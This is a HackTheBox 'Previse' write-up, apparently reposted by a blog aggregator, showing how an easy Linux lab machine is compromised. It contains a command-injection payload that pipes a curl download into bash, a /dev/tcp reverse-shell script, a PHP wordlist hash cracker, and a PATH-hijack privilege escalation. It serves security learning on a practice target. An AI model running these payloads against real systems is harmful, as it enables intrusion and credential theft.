惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
DataBreaches.Net
人人都是产品经理
人人都是产品经理
爱范儿
爱范儿
WordPress大学
WordPress大学
T
Tor Project blog
Jina AI
Jina AI
美团技术团队
酷 壳 – CoolShell
酷 壳 – CoolShell
V
V2EX
雷峰网
雷峰网
博客园 - 聂微东
B
Blog RSS Feed
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
博客园 - 【当耐特】
Microsoft Azure Blog
Microsoft Azure Blog
S
SegmentFault 最新的问题
Recent Announcements
Recent Announcements
有赞技术团队
有赞技术团队
GbyAI
GbyAI
aimingoo的专栏
aimingoo的专栏
U
Unit 42
博客园 - Franky
Last Week in AI
Last Week in AI
阮一峰的网络日志
阮一峰的网络日志
Microsoft Security Blog
Microsoft Security Blog
F
Fortinet All Blogs
罗磊的独立博客
云风的 BLOG
云风的 BLOG
G
Google Developers Blog
大猫的无限游戏
大猫的无限游戏
Engineering at Meta
Engineering at Meta
C
Check Point Blog
Martin Fowler
Martin Fowler
The Cloudflare Blog
N
Netflix TechBlog - Medium
小众软件
小众软件
T
Tailwind CSS Blog
T
The Blog of Author Tim Ferriss
月光博客
月光博客
博客园 - 司徒正美
Stack Overflow Blog
Stack Overflow Blog
J
Java Code Geeks
Blog — PlanetScale
Blog — PlanetScale
P
Proofpoint News Feed
H
Help Net Security
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
T
The Exploit Database - CXSecurity.com
S
Securelist
I
Intezer
Spread Privacy
Spread Privacy

Homepage on Aditya Telange

One Year with evil-winrm-py - A Retrospective Bypassing LinkedIn's Connection Privacy with a Simple Search Filter Making Dynamic Instrumentation Accessible with Frida UI Breaking Payload Encryption in Web Applications HackTheBox (HTB) - Escape HackTheBox (HTB) - Resolute HackTheBox (HTB) - Certified State of VMWare Workstation (Pro?) on Linux Android App Security Testing Lab with MobSleuth Android phone as a Webcam on Linux Breaking down Reverse shell commands HackTheBox (HTB) - Photobomb Merging AOSP Security Patches into Custom ROMs Primer on HTTP Security Headers Image Zoom-In effect with HUGO HackTheBox (HTB) - Legacy HackTheBox (HTB) - Lame Cryptohack - Keyed Permutations [5 pts] Cryptohack - Resisting Bruteforce [10 pts] Cryptohack - RSA Starter 1 [10 pts] Cryptohack - Base64 [10 pts] Cryptohack - Bytes and Big Integers [10 pts] Cryptohack - Hex [5 pts] Cryptohack- XOR Starter [10 pts] HackTheBox (HTB) - Horizontall HackTheBox (HTB) - Forge HackTheBox (HTB) - BountyHunter HackTheBox (HTB) - Explore HackTheBox (HTB) - Cap HackTheBox (HTB) - Pit HackTheBox (HTB) - Knife HackTheBox (HTB) - Love HackTheBox (HTB) - Tenet HackTheBox (HTB) - Ready Watermarking images with HUGO My Github Project went viral! Cryptohack - ASCII [5 pts] Cryptohack - Finding Flags [2 pts] Cryptohack - Great Snakes [3 pts] Cryptohack - JWT Sessions [10 pts] Cryptohack - Network Attacks [5 pts] Cryptohack - Token Appreciation [5 pts] CAF's Android for MSM Basic Website Analytics with Vercel Github Actions as Temporary File Sharing Platform Addition of prebuilt APK - AOSP Rom Development External Link With target='_blank' in Hugo Markdown Setting Up Build Environment - AOSP Rom Development Getting Started - AOSP Rom Development Using Secure HTTP Headers with Vercel/Zeit Education and Certifications Link Tree ↟ | Aditya Telange Personal Projects Resume - Aditya Telange Security Acknowledgements About Me Graph View License Privacy Policy
HackTheBox (HTB) - Previse
[Aditya Telange](https://x.com/adityatelange) · 2022-01-08 · via Homepage on Aditya Telange
Box Info
  • Name: Previse
  • OS: Linux
  • Difficulty: Easy
  • IP: 10.10.11.104
  • Points: 20
  • Machine Creator: m4lwhere

Introduction

Previse is a fun Linux box on HackTheBox that has insecure redirect implementation which leaks information on the page. This can then be used to create a new user in the application and get access to backup.zip of it. Backup revels that there is a command injection vulnerability present in the logs fetching feature, which gets us a basic shell.

We have a MySQL server running inside the box which has reused credenrials from the backup.zip. We get hashed/salted credentials inside this database and crack it by writing a custom PHP script. We again have a username and password reuse for a SSH user, which gives us a user shell.

Listing sudo privilegs we get to know there is a script which we can run as root, that does not mention absolute $PATH for a command being used. Thus can be overriden by $PATH variable set by current USER.


Recon

We add target box IP 10.10.11.104 to /etc/hosts of attacker box.

# Contents of /etc/hosts
10.10.11.104     previse.htb

Masscan resuts

We run masscan to find all ports 1-65535

sudo masscan "10.10.11.104" -p1-65535,U:1-65535 --rate=500 -e tun0
Discovered open port 80/tcp on 10.10.11.104
Discovered open port 22/tcp on 10.10.11.104

NMAP resuts

We run nmap for the open ports

sudo nmap -sC -sV -oN nmap.out 10.10.11.104 -p 80,22
# Nmap 7.80 scan
Nmap scan report for 10.10.11.104
Host is up (0.22s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Gobuster resuts

We run gobuster to find hidden directories and pages with extension .php

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -u http://previse.htb/ -x .php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previse.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/08/08 05:04:58 Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 2224]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/header.php           (Status: 200) [Size: 980]
/nav.php              (Status: 200) [Size: 1248]
/footer.php           (Status: 200) [Size: 217]
/css                  (Status: 301) [Size: 308] [--> http://previse.htb/css/]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/js                   (Status: 301) [Size: 307] [--> http://previse.htb/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/server-status        (Status: 403) [Size: 276]

===============================================================
2021/08/08 05:38:52 Finished
===============================================================

We access the http service on port 80 http://previse.htb/. We get redirected to login page http://previse.htb/login.php.

“HTTP Login Page”

We have a login page but there is no direct option/page to register new users. So, we need to find out a way by which we can register new users.

Using Burp to get Admin access to Web-app

We use BURP Community Edition and proxy our requests via it. We then visit http://previse.htb/.

In the Response we see that whole page is included with all the contents without user login and just the HTTP-Header Location is being used to redirect unauthenticated users.

Here we also see in html source that we can create a new account at http://previse.htb/accounts.php.

<li>
  <a href="accounts.php">CREATE ACCOUNT</a>
</li>

We can now visit http://previse.htb/accounts.php by modifying the request and removing the Location: login.php header from the response.

Now we can create a new user having admin privileges as shown below:

We can now login with this account credentials and visit other pages.

On visiting http://previse.htb/files.php we have a file named siteBackup.zip

We download siteBackup.zip and we get the whole source code of the web application.

Inspecting Web app’s source

This source code has a file named logs.php which is used to get the logs with prefered delimiter.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

///...trimmed further content...///

We see that, at Line 19 of the above code we can insert data from POST param delim, and that will be injected with the command, and then executed by exec1 command of PHP.

Injecting command to get reverse shell

We now visit http://previse.htb/file_logs.php. Click on the submit button and again intercept the request with BURP proxy.

Here we change the default body, that is delim=comma and use the following code (which is URL encoded):

delim=comma%20%26%26%20curl%20http://10.10.██.██:8080/shell.sh%20%7C%20/bin/bash

The command we execute here is:

delim=comma && curl http://10.10.██.██:8080/shell.sh | /bin/bash

The shell.sh contains reverse shell script so that we can get a shell:

# Contents of shell.sh
/bin/bash -l > /dev/tcp/10.10.██.██/4242 0<&1 2>&1

What we do here is use the && operator to execute the command after delim=comma for the Python script.

We use darkhttpd or python -m http.server to host the shell.sh file on attcker box IP: 10.10.██.██.

Then we fetch the shell.sh script curl http://10.10.██.██:8080/shell.sh from our attacker box and pipe it to /bin/bash.

After that we listen on port 4242 on our attacker box as we have used in shell.sh.

and we get a shell 🐚!!

We also upgrade the shell with

python3 -c 'import pty;pty.spawn("/bin/bash")'


Escalating Privilege

At this point we are logged in as user www-data and current dir is /var/www/html.

In this folder we have same files as we have in the siteBackup.zip we downloaded earlier. And also the config.php has same configuration and credentials.

bash-4.4$ cat config.php
cat config.php
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

We know that there is a mySQL server running on the server. We confirm it by checking for open ports by using ss -tulpn2 and we find the port 3306 open.

Finding user credentials

We now login to mySQL with:

bash-4.4$ mysql -u root -p
# then input the password we got 'mySQL_p@ssw0rd!:)'

We get list of databases using SHOW DATABASES;

mysql> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

We select table previse

We then get tables

mysql> SHOW TABLES;
SHOW TABLES;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+

Here we have a table named accounts. We then view its contents:

mysql> select * from accounts;

+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.   | 2021-05-27 18:18:36 |
|  2 | foouser  | $1$🧂llol$kzkcgABDZ5GEWfMZvxzxZ/   | 2021-09-14 15:09:45 |
|  3 | kewlkid  | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0   | 2021-09-14 15:11:55 |
+----+----------+------------------------------------+---------------------+

Here we have a username m4lwhere which we have seen earlier in the website’s footer CREATED BY M4LWHERE

Cracking the hashed password

We try to crack this hashed password: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf..

In accounts.php we have the following code which they are using to generate password for new user:

56
57
58
59
60
61
62
$hash = crypt($password, '$1$🧂llol$');
$db = connectDB();
if ($db === false) {
    die("ERROR: Could not connect. " . $db->connect_error);
}
$sql = "INSERT INTO accounts (username, password) VALUES ('{$username}','{$hash}')";
$result = $db->query($sql);

We use the same concept in reverse way to verify the hashed password with ones generating from a wordlist. The following snippet of PHP code is how we get the password hashing reversed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// Contents of passget.php
<?php
$hashed_password = '$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.';

// Make sure you put the corret location of wordlist
$handle = fopen("/usr/share/wordlists/rockyou.txt", "r");
if ($handle) {
    while (($line = fgets($handle)) !== false) {
        $user_input = trim($line);
        if (hash_equals($hashed_password, crypt($user_input, '$1$🧂llol$'))) {
            echo "Password: $user_input";
            break;
        }
    }
    fclose($handle);
} else {
    // error opening the file.
}
?>

Now, we run the PHP code as:

The script runs for around 10-15 mins and we get pass as: ilovecody████35! when using rockyou.txt wordlist.

Logging in to SSH with reused password

We can now login to ssh with user m4lwhere and password ilovecody████35!!

We get logged in as user m4lwhere and we get user.txt

Escalating Privilege further

Running sudo -l shows that we can run the following script as root!

User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

Checking its contents, we see that there is a command gzip which is used for file compression and decompression.

m4lwhere@previse:/var/tmp$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

The shell looks for the command gzip in any of the paths defined in the PATH environment variable and executes it! But it is possible to override the default PATHs and use User-defined ones.

Creating a private bin in user’s home directory

In the user m4lwhere’s HOME dir, we see that we have a .profile file, where we can override any command as we want! In the .profile file below, line 20-23 includes all the executable binary/shell script files.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
m4lwhere@previse:~$ cat .profile
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
    PATH="$HOME/bin:$PATH"
fi

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/.local/bin" ] ; then
    PATH="$HOME/.local/bin:$PATH"
fi

Thus, to override the gzip command, all we have to do is to create bin dir in m4lwhere’s home and add a shell script file named gzip.

# we create a bin folder
m4lwhere@previse:~$ mkdir bin && cd bin
# then create a file gzip in it and make is executable
m4lwhere@previse:~$ touch gzip && chmod +x gzip

The ~/bin/gzip file has the following contents:

1
2
# contents of /home/m4lwhere/bin/gzip
cp /root/root.txt . && chmod 777 root.txt

We now need to load the .profile again so that our script /home/m4lwhere/bin/gzip is included in PATH variable.

m4lwhere@previse:~$ source .profile

Getting root privileges

We can now execute /opt/scripts/access_backup.sh as root without any password:

sudo /opt/scripts/access_backup.sh

And we have root.txt in the Current working diretory!